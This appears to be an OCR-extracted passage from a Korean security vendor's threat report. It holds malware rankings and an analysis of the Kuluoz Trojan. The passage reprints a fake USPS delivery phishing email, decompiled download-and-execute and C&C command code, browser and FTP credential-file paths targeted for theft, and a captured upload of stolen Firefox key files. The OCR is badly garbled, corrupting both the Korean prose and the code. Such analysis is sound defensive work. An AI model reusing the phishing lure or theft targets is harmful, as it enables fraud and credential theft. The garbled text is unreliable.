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2 t6  BackdoorAgent.RDS Backdoor 3,701
3 New  Trojan.Generic.7433326 Trojan 2,985
4 New  Trojan.Generic.7384911 Trojan 2,624
5 New  Trojan.JS.RedirectorACI Trojan 2,470
6 New  Trojan.Generic.7420440 Trojan 2,292
7 New  Trojan.Generic.7400507 Trojan 2,016
8 New  Gen.Variant. Adware.Graftor.11053 Adware 1,818
9 New  Gen.Variant.Barys.610 Etc 1,808
10 New  Trojan.Generic.7254154 Trojan 1,791
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Part I 4%°| tMIAE EH|
2. A E Ol EM - “Trojan.Agent.Kuluoz”
1) 7
S o dAE= UPSP(US. Postal Service)OijAf 2 QI MY ¢S o Lo HREE
CH2R2EHZRE AZEL CHREEHE HASHH CACMHE S ddmUSS s

& USPS Delivery Problem No 7869

CO MRy WEEY BRI BRI HAAM) Z=SEH) -
Qv v “8 5 T o W
3M M EHE 20 B =4

HW AE 5P Customer Service

=N 20124 58 228 SHEY 2% 96

= AE:

A= ISPS Delivery Problerm Mov863

== |@LaheI_ParceI_pastaI—NHIUd—ME.ZiD {30, 6KEB)

Delivery information,

Courier service couldnOO4) make the delivery of vour parcel,
Status deny:Fee isn00% paid.

LOCATION OF YOUR ITEM:MNewark
DELIVERY STATUS: sorting

SERVICE: Express Shipping

NURMBER OF YOUR ITER: LN 199506601
FEATURES: Mo

Label is enclosed to the letter,
Print a label and show it at vour post office.

£&n additional information
If the parcel isn004! received within 30 working days our company will have the right to claim
compensation from you for it's keeping in the amount of $11.35 for each day of keeping of it.

‘You can find the information about the procedure and conditions of parcels keeping in the
nearest office.

Thank you,
USPS Express Services,

(28 1]
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D 25T EYHE 5 ERoOE &2
& Ltf: EJOS)?)?SE :Ie;x @ AgmME HEEEaEE ( Label_Parcel_postal-MR104-145 exe
2 ome firef 20| HEE 2aFo= 9T
I chrome firefox g s
Lo A AT
FileZilla, WinSCP,SmartFTP... | _ror ]
e =i : Ecpel s s) P 24 =0
@z EER e @ F7Imel cacHy THaEy 2
C&LC Server
= Command:
run=
idl=
- upd=
rrm=
rem=

(18 2]

® 2 meol WS

- Label_Parcel_postal-NR104-145.exe - 2&Ct220

int _ cdecl acess_to_server{int {__ stdcall =InternetOpenn}){_DWORD, _DWORD, _DWORD, _DWORD, _DWORD},

int lpdwNumberOfBytesRead; // [sp+8h] [bp-16h]E1
int handle; /7 [sp+4h] [bp-Ch]@1

int return_read; /f [sp+8h] [bp-8h]E3

int handle_url; // [sp+Ch] [bp-4h]@2

lpduHumber0fBytesRead = 83

handle = InternetOpenA{User_Agent, 8, 8, B8, 8);

if { handle )

{
handle_url = InternetDpenUrlA{handle, str_url_made, B, 8, 8, 8);
if { handle url }

return_read = InternetReadFile{handle_url, recv_order_buffer, 48946, &lpdwHumberOfBytesRead);

InternetCloseHandle{handle url});

b

InternetCloseHandle(handle};

return lpdwMumberOfBytesRead;

¥
(38 3]
Of mtAU2 CACMHO| HHI0] FES sASts XO[Ch RO C&C MH 27t EXY
St sid MEO| F7|H22 FEH510 run=, idl=, upd=, rrm=, rem=352| FFOE +=A

ES Fsofl  copyright © by ESTzoft Corp. All rights resanved _
H|o[X| | 7



W AlYac R0} H7H HOHEE B 5
STk E3F QT AIRHA| AHS AE|DR AXE 1K Qe 0|4 A SRSIH Ht
FHO o|0|
idl= CH2|
run= | AZAB{OIM AT CHRRE = A
upd= Aal(®R) Yol
rem= Xtalol AtESte eA[AER| 8 mr AMK|
rrm= upd= 2t ¢
[ 1] A+E83t= HEO
if § *{ strcmp){recv_order, &omd idl) )
269 = 1;
if ( *{ strcmp){recv order, &cmd run) )
{
269 = 1;
for ( i = 4; i € vecv number; ++i )
*{1 + recv data - 4) = ®{i + recv order buffer);
®#{recu_number + recu data - 4) = 8;
doun_exec(
GetTickCount,
HeapAlloc,
HeapFree,
strcat,
strocpy,
sprintf,
URLDownloadToFilen,
ShellExecuten,
Heap_handle,
Local_Settings_fipplication_Data,
recy_data);
¥
[A& 4]idl=, run= H&H0 ZE
- ft.exe
0| Ot Firefox@t Chrome EE}RXO|A AIEX7F MHESH H|O|E{QF CHYsH FTP S 2}0|
AEO| FTPMH FEEE mMYUZ A0AM MHO| F4& & AE FEE CACMHE &S
= I+Yo|Ct.
“WozillahFirefoshProfilesh, Total Comander
SELECT hostname, " enciypte FileZilla
‘sighons. sglite WinSCP
SELECT , signon_realm, useman SmaltFTP
\Google\Chrome\ser Data\Default\Login D ata BulletProof FTP
WG oogle\ChromehUser Data\Defaultvw/eb Data BitK inex
[23 5] EEteXo 42 FHE 8 NMEE AMEX ME ol == g
EfZ FTPZ2I0|QIE 52
ES I'soft copyright © by ESTsoft Corp. Al rights resenved
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i AlYec 1

S04 SIol 87 5

ohEEF UM 5EHS

- ddd.exe

o] maz

Fo Y AT EQ|O(Firefox, Oprea, Thunderbird)Q| At2Xt H|O|E utYy}t doc,

docx, Xls, xlsx 22 EA OHYS HE MWAYEE A0 LT3sh zipm Y2 Aot

CRCMHZ T &Lt
~=tel o] ) s LTl \Mozilla\Firefox\Profiles
o Y e @ o = key3. db
Cagn uyEne TARN DEAR w3 signong. sqlite
[ ‘Bl "I -] x| DWE - [a-z8-2] N 1E
i erbird4Profiles
- ? 1.,:::;:,;\.4 F ?”"H . SThund
fu Bacimens and § ';I"M'“' WOperatOpera
= 2 Dt Uner S wivcac2 dacs wand.dat
[ e | i wivwond dece '
w0 bk
= 3 Aoplc sfon Dats )
= g Mezila " " =}
= i3 Firetox = &g siclpref.zip =
= 3 Protdes =i key3.dbe
baeipd detaut - i
% 2 My Dacumants = 3 Documents and Setings signons, sqlite
O Terclaten .
o &3 Prosm Tl = 2 Default User
& 3 Debupgirsg Tools o Wndaws: («85) = Ternpmas
Q) srosew =Rl
3;-#“ ' = 2 Application Data
S L WNDOWS = 2 Mozilla
s = & Firefox
= 3 tytergeotie 2 3 Profiles
3 Templesea u I
(13 6] =& ojed |5
POST / HTTP/1.1
HoStT:
Accept: */*
content-Length: 1187345
Expect: 100-continue
content-Type: multipart/form-data;
boundary=-------- oo c0d5e3fb03ee
HTTP/1.1 100 Continue
------------------------------ cod5e3fb03ee
content-Disposition: form-data; name="group_id"
-0923176088
------------------------------ c0d5e3fb03ee
content-Disposition: form-data; name="password"
ktdyvxv
Y---YY ------------------------ c0d5e3fb03ee
content-Disposition: form-data; name="debug"
0
------------------------------ cod5e3fb03ee
Content-Disposition: form-data; name="file"; filename="sjclpref.zip"
Content-Type: application/octet-stream
i o P e R O Ty 7 A...C/Documents and sett1ngs/kk/App11cat1on
Data/Moz111a/F1refgx/Prof11es/bd4t0tp9 default/key3
.......... ...?2.b.w.
X.#.S5.NE.gOS...m.R2Z...... 3 B ST K O S T =
[ 7] C&C 2 M&5l= 2tH
o P . — o
(A3 6] [AE 7I0M EX0| Yotz L=MUM ¥z MESS 10 CACAH=z T
AS A N o = A
Sottt. d2|a +HE EMTEES 8 28)2 APTE 20| £ Ef 0] 0|82 =
UL
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1 W32/Mytob-C 5159 35.66%

2 W32/MyDoom-H 2,745 18.97%

3 Mal/ZipMal-B 1,720 11.89%

4 W32/Virut-T 405 2.80%

5 Mal/BredoZp-B 182 1.26%

6 Mal/Iframe-AE 159 1.10%

7 W32/MyDoom-N 150 1.04%

8 Troj/Invo-Zip 130 0.90%

9 W32/Lovgate-V 102 0.70%
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